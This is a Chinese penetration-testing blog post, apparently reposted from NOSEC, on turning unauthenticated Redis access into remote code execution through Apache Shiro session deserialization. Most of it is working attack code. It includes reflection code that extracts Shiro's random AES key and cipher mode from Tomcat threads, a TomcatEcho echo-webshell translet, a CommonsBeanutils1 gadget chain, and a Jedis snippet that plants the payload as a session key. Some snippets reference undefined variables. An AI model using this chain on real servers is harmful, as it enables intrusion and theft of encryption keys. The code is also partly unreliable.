redis未授权到shiro反序列化之session回显马

渗透技巧 2年前 (2022) admin

747 0 0

一、前言

最近拜读 cokeBeer 师傅《redis未授权到shiro反序列化》，文中使用pyyso生成无回显RCE链，再走redis添加session实现反序列化。这种方法虽然可以在shiro 的AES 密钥未知的情况下RCE，但是无回显链用起来毕竟没那么方便。

众所周知，shiro 550要想getshell总共分两步，第一步搞个key和分组模式，第二步搞条链。既然有可以构造链的依赖，那么想办法构造一个回显链搞到随机的AES 密钥和分组模式，就可以结合传统一把梭工具愉快地食用了。本文详细记录了跟Except1on师傅一起尝试实现上述设想的踩坑过程。

二、漏洞概述

“在一次渗透测试的过程中发现6379端口上开着一个未授权的redis，尝试利用redis进行rce失败。又发现redis缓存了shiro的session，最终通过redis未授权配合shiro-redis反序列化实现rce” — cokeBeer《redis未授权到shiro反序列化》。

简单来说就是通过向未授权的redis添加恶意构造的session键值对，后端从redis 中读取session，将其反序列化成 Session 对象时触发RCE。

三、相关背景

本文沿用 cokeBeer 师傅《redis未授权到shiro反序列化》里 alexxiyang 师傅的漏洞环境

在该环境下，我们需要关注下面4个类。

四、获取密钥和分组模式

4.1 思路

在 AbstractRememberMeManager 类中，类变量encryptionCipherKey用于存放shiro的AES密钥，在 RCE 过程中想办法从上下文获取到该变量，哪怕是动态生成的密钥，也能给它揪出来。

private byte[] encryptionCipherKey;    

public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    AesCipherService cipherService = new AesCipherService();
    this.cipherService = cipherService;
    setCipherKey(cipherService.generateNewKey().getEncoded());
}

4.2 从上下文中找到存放encryptionCipherKey的对象

这里就需要用到 c0ny1 师傅的《java内存对象搜索辅助工具》，在Java应用运行时，对内存中的对象进行搜索。我们在漏洞环境导入上述工具的依赖包，并在org.crazycake.shiroredisspringboottutorial.controller.LoginController#login接口里添加如下代码，搜索包含 encryptionCipherKey 的对象，将结果保存到指定目录，下面是关键代码，结果保存到 C 盘。

List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("byte[]").setField_name("encryptionCipherKey").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("C:\\");
searcher.searchobject();

没有生成预期的搜索结果文件

换个姿势搜 AbstractRememberMeManager

keys.add(new Keyword.Builder().setField_type("AbstractRememberMeManager").build());

靠，还是不对。

花两秒想了下，搜索目标是对象，然鹅AbstractRememberMeManager 是个抽象类，抽象类是不允许实例化的，那么得找它子类 CookieRememberMeManager的实例对象。

keys.add(new Keyword.Builder().setField_type("CookieRememberMeManager").build());

这波稳了，出现带 result的搜索结果日志

4.3 分析调用栈

我们打开搜索结果日志，可以看到门前有两棵树，一棵是枣树，另一棵也是枣树。咳咳(❍ᴥ❍ʋ)

一棵ThreadLocal$ThreadLocalMap，另一棵TomcatEmbeddedWebappClassLoader 。

要找到某一个线程，通过反射一层层的获取到我们想要的 encryptionCipherKey 不是梦。

这里直接参考业内最常用的全版本 Tomcat 获取 request 对象的代码并进行改造。

下面for 循环内代码就是我们需要改造的部分。

//标记是否回显成功，成功后不再继续
boolean flag = false;
//临时存储反射取到的field对象
object o = null;
try {
    //获取当前所有线程
    Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
    //遍历所有线程
    for (int i = 0; i < threads.length; i++) {
        //当前线程
        Thread thread = threads[i];
        //获取线程名
        String threadName = thread.getName();
        try {
            //当前线程名包含http，但是不包含exec时
            if (!threadName.contains("exec") && threadName.contains("http")) {
                //获取当前线程的名为target的field对象
                o = getField(thread, "target");
                //如果当前field对象不为Runnable类的实例，则遍历下一个线程
                if (!(o instanceof Runnable)) {
                    continue;
                }
                try {
                    //获取同时满足包含这三个属性名的field对象
                    o = getField(getField(getField(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    //如果没有找到抛出异常，则遍历下一个线程
                    continue;
                }
                //获取名为processors的field对象，该对象为ArrayList类型
                ArrayList processors = (ArrayList) getField(o, "processors");
                for (int j = 0; j < processors.size(); j++) {
                    //获取当前processor的requestInfo对象
                    RequestInfo requestInfo = (RequestInfo) processors.get(j);
                    //获取当前requestInfo的coyote下面的req对象
                    Request req = (Request) getField(requestInfo, "req");
                    if (req.decodedURI().isNull()) {
                        continue;
                    }
                    //获取当前requestInfo的connector下面的req对象
                    org.apache.catalina.connector.Request tomReq = (org.apache.catalina.connector.Request) req.getNote(1);
                    return tomReq;

                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
} catch (Exception e) {
    e.printStackTrace();
}
return null;

getField 方法是通过反射直接获取对象的指定属性值。

private static object getField(object o, String s) throws Exception {
    Field f = null;
    Class clazz = o.getClass();

    while (clazz != object.class) {
        try {
            f = clazz.getDeclaredField(s);
            break;
        } catch (NoSuchFieldException var5) {
            clazz = clazz.getSuperclass();
        }
    }

    if (f == null) {
        throw new NoSuchFieldException(s);
    } else {
        f.setAccessible(true);
        return f.get(o);
    }
}

4.4 通过两种不同的调用栈获取encryptionCipherKey

这里仅针对该漏洞环境进行测试，因技术有限，通用性可能无法保证，其他环境的手法大同小异。

从ThreadLocal$ThreadLocalMap 中获取encryptionCipherKey

依次通过反射获取对象中属性值。

需要 getField 反射调用的层级：对象值（对象类型）

inheritableThreadLocals (ThreadLocalMap)-> table (Entry []) -> value (Entry) -> value (HashMap) -> rememberMeManager (CookieRememberMeManager)

我们先直接将获取的结果拼接在返回的视图里面，进行测试。

try {
    object inheritableThreadLocals = getField(thread, "inheritableThreadLocals");

    Integer size = (Integer) getField(inheritableThreadLocals, "size");
    System.out.println("ThreadLocal  "+size);
    if (size == 0) {
        return null;
    }
    object[] table = (object[]) getField(inheritableThreadLocals, "table");
    for (int j = 0; j < table.length; j++) {
        if (table[j] != null) {
            object value = getField(table[j], "value");
            HashMap map = (HashMap) value;
            object securityManager = map.get("org.apache.shiro.util.ThreadContext_SECURITY_MANAGER_KEY");
            DefaultWebSecurityManager securityManager1 = (DefaultWebSecurityManager) securityManager;
            AbstractRememberMeManager abstractRememberMeManager = (AbstractRememberMeManager) securityManager1.getRememberMeManager();
            CipherService cipherService = abstractRememberMeManager.getCipherService();
            AesCipherService cipherService1 = (AesCipherService) cipherService;
            return "cipherKey : " + new String(base64.getEncoder().encode(abstractRememberMeManager.getCipherKey())) +
                    "Mode : " + cipherService1.getModeName();
        }
    }
} catch (Exception e) {
    return null;
}
return null;

嗯，效果凑合。

通过层层反射套娃，成功获取到了随机生成的AES密钥和分组模式

从 TomcatEmbeddedWebappClassLoader 中获取

需要 getField 反射调用的层级：

contextClassLoader -> resources -> context -> context -> attributes -> attributes -> applicationEventMulticaster -> retrievalMutex

跟第一棵树差不多，花十分钟如法炮制。

我们同样直接将获取的结果拼接在返回的视图里面，进行测试。

CookieRememberMeManager rememberMeManager = null;
object cipherService = null;
try {
    object contextClassLoader = getField(thread, "contextClassLoader");
    object resources = null;
    resources = getField(contextClassLoader, "resources");
    object context = getField(resources, "context");
    context = getField(context, "context");
    object attributes = getField(context, "attributes");
    ConcurrentHashMap attribute = (ConcurrentHashMap) attributes;
    object o = attribute.get("org.springframework.web.context.WebApplicationContext.ROOT");
    object applicationEventMulticaster = getField(o, "applicationEventMulticaster");
    object retrievalMutex = getField(applicationEventMulticaster, "retrievalMutex");
    ConcurrentHashMap retrievalMute = (ConcurrentHashMap) retrievalMutex;
    object securityManager = retrievalMute.get("securityManager");
    DefaultWebSecurityManager securityManager1 = (DefaultWebSecurityManager) securityManager;
    rememberMeManager = (CookieRememberMeManager) securityManager1.getRememberMeManager();
    cipherService = getField(rememberMeManager, "cipherService");
} catch (Exception e) {
    return "";
}
AesCipherService cipherService1 = (AesCipherService) cipherService;
return "cipherKey : " + new String(base64.getEncoder().encode(rememberMeManager.getCipherKey())) +
        "Mode : " + cipherService1.getModeName();

嗯，效果也还凑合。

五、改造回显马输出密钥和分组模式

5.1 思路

回显马核心也是从线程中获取到请求和响应对象，并且用响应对象通过输出流将密钥和分组模式打印到客户端。

5.2 回显代码缝合

本着不重复造轮子，只改造轮子的原则，我们站在前面无数巨佬们的肩膀上，将业内常用的 TomcatEcho 回显马进行改造。缝合上我们 4.3 节及 4.4 节中的代码，纯 CV 大法，没有太多技术含量，缝合细节不再赘述。

public class TomcatEcho extends AbstractTranslet {

    public HttpServletRequest request = null;
    public HttpServletResponse response = null;

    public TomcatEcho() throws Exception {
    	// 从线程中获取 request 对象
        object request = getRequestFromThreads();
        // request 对象赋值给成员属性。
        load(request);
        // 从线程中获取 shiro 密钥
        String keys = "keys: " + getShiroKeysFromThreads();
        // 将 shiro 密钥回显给当前请求
        PrintWriter writer = response.getWriter();
        writer.write(keys);
    }
	// 线程中获取 request 对象，详见 4.3 节
    private static object getRequestFromThreads() throws Exception {
        
    }

    public void load(object obj) throws NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        System.out.println("load");
        try {
            if (obj instanceof HttpServletRequest) {
                request = (HttpServletRequest) obj;
                response = (HttpServletResponse) request.getClass().getDeclaredMethod("getResponse").invoke(obj);
            }
        } catch (Exception var8) {
            // do nothing
        }
    }

    private static String getShiroKeysFromThreads() {
        try {
            Thread[] ts = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
            for (int i = 0; i < ts.length; ++i) {
                Thread t = ts[i];
                // 从线程中获取 shiro 密钥，详见 4.4 节
                String res = getKeyByThreadLocal(t);
                System.out.println(res);
                if (isNotBlank(res)) {
                    return res;
                }
            }
        } catch (Exception var17) {
            ;
        }
        return null;
    }
    // 反射获取对象属性值，详见 4.3 节
    private static object getField(object o, String s) throws Exception {
        
    }

    public static boolean isNotBlank(String s) {
        return !isBlank(s);
    }

    public static boolean isBlank(String s) {
        return s == null || s.trim().isEmpty();
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

六、用CB1链封装回显马

漏洞环境依赖的是 commons-beanutils，这里注意，生成CB1链时 commons-beanutils 版本需要与漏洞环境保持一致，否则会出现因为序列化前后serialVersionUID 不一致抛出异常导致反序列化过程失败。

我们继续将改造后的回显马封装到CB链里面，这里用到了 javassist 工具库来直接获取类的字节码。

public static byte[] commonsBeanutils1() throws Exception {
    ClassPool pool = ClassPool.getDefault();
    CtClass ctClass = pool.get(TomcatEcho.class.getName());
    byte[] classByteArray = ctClass.toBytecode();
    TemplatesImpl templates = new TemplatesImpl();
    ReflectionUtil.setValueField(templates, "_name", "f");
    ReflectionUtil.setValueField(templates, "_bytecodes", new byte[][]{code});
    ReflectionUtil.setValueField(templates, "_tfactory", new TransformerFactoryImpl());
    BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
    PriorityQueue<object> queue = new PriorityQueue<object>(2, comparator);
    queue.add("1");
    queue.add("1");
    ReflectionUtil.setValueField(comparator, "property", "outputProperties");
    ReflectionUtil.setValueField(queue, "queue", new object[]{templatesImpl, templatesImpl});
    try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
         objectOutputStream ou = new objectOutputStream(bos)) {
        ou.writeobject(queue);
        return bos.toByteArray();
    } catch (IOException e) {
        e.printStackTrace();
    }
	return new byte[]{};
}

所以现在我们手上有两只session回显马，一只是ThreadLocal$ThreadLocalMap 回显马，另一只是 TomcatEmbeddedWebappClassLoader 回显马。

七、向Redis添加session回显马

这里我们随便访问一个不存在的接口，后端返回了一个cookie

我们直接用Jedis库来向Redis添加session回显马。

public static void main(String[] args) throws Exception {
    Jedis jedis = new Jedis("redis://127.0.0.1:6379");
    String s = "shiro:session:wuhu~run";
    byte[] injectByte = commonsBeanutils1();
    jedis.set(s.getBytes(), injectByte);
}

7.1 验证ThreadLocal$ThreadLocalMap 回显马效果

先上我们的ThreadLocal$ThreadLocalMap 回显马。

然后把JSESSIONID的值替换成回显马的key，即“wuhu~run”。

喔豁，翻车了(ㄒoㄒ)，结果出现 null 。

通过断点调试发现 32 个线程中，ThreadLocalMap 内容都为空，技术有限，变成了死马。 redis未授权到shiro反序列化之session回显马

7.2 验证TomcatEmbeddedWebappClassLoader 回显马效果

上我们的 TomcatEmbeddedWebappClassLoader 回显马。

然后把JSESSIONID的值替换成回显马的 key，即“wuhu~run”。

芜湖~起飞(∩_∩)

终于成功返回了随机的AES密钥和分组模式。

有链、有key、有分组模式，剩下就是熟悉的一把梭了。

[2] https://github.com/alexxiyang/shiro-redis-spring-boot-tutorial

[3] https://github.com/c0ny1/java-object-searcher

原文始发于NOSEC：redis未授权到shiro反序列化之session回显马

版权声明：admin 发表于 2022年10月13日下午6:52。
转载请注明：redis未授权到shiro反序列化之session回显马 | CTF导航

九维团队-暗队（情报）| 判断查找CDN背后的真实IP

admin

673

红队第2篇：区分Spring与Struts2框架的几种新方法

admin

877

InQL v5: A Technical Deep Dive

admin

215

利用Cloudflare 零信任进行C2通信及防护

admin

746

HTTP2请求走私(上)

admin

每日安全动态推送(5-29)

admin

254

暂无评论

您必须登录才能参与评论！

立即登录

暂无评论...

redis未授权到shiro反序列化之session回显马

一、前言

二、漏洞概述

三、相关背景

四、获取密钥和分组模式

4.1 思路

4.2 从上下文中找到存放encryptionCipherKey的对象

4.3 分析调用栈

4.4 通过两种不同的调用栈获取encryptionCipherKey

五、改造回显马输出密钥和分组模式

5.1 思路

5.2 回显代码缝合

六、用CB1链封装回显马

七、向Redis添加session回显马

7.1 验证ThreadLocal$ThreadLocalMap 回显马效果

7.2 验证TomcatEmbeddedWebappClassLoader 回显马效果

八、相关参考链接

常见堆利用手法解析（中）

G.O.S.S.I.P 阅读推荐 2022-10-08 DangZero

相关文章

暂无评论

相关文章

redis未授权到shiro反序列化之session回显马

一、前言

二、漏洞概述

三、相关背景

四、获取密钥和分组模式

4.1 思路

4.2 从上下文中找到存放encryptionCipherKey的对象

4.3 分析调用栈

4.4 通过两种不同的调用栈获取encryptionCipherKey

五、改造回显马输出密钥和分组模式

5.1 思路

5.2 回显代码缝合

六、用CB1链封装回显马

七、向Redis添加session回显马

7.1 验证ThreadLocal$ThreadLocalMap 回显马效果

7.2 验证TomcatEmbeddedWebappClassLoader 回显马效果

八、相关参考链接

常见堆利用手法解析（中）

G.O.S.S.I.P 阅读推荐 2022-10-08 DangZero

相关文章

暂无评论

广告位

相关文章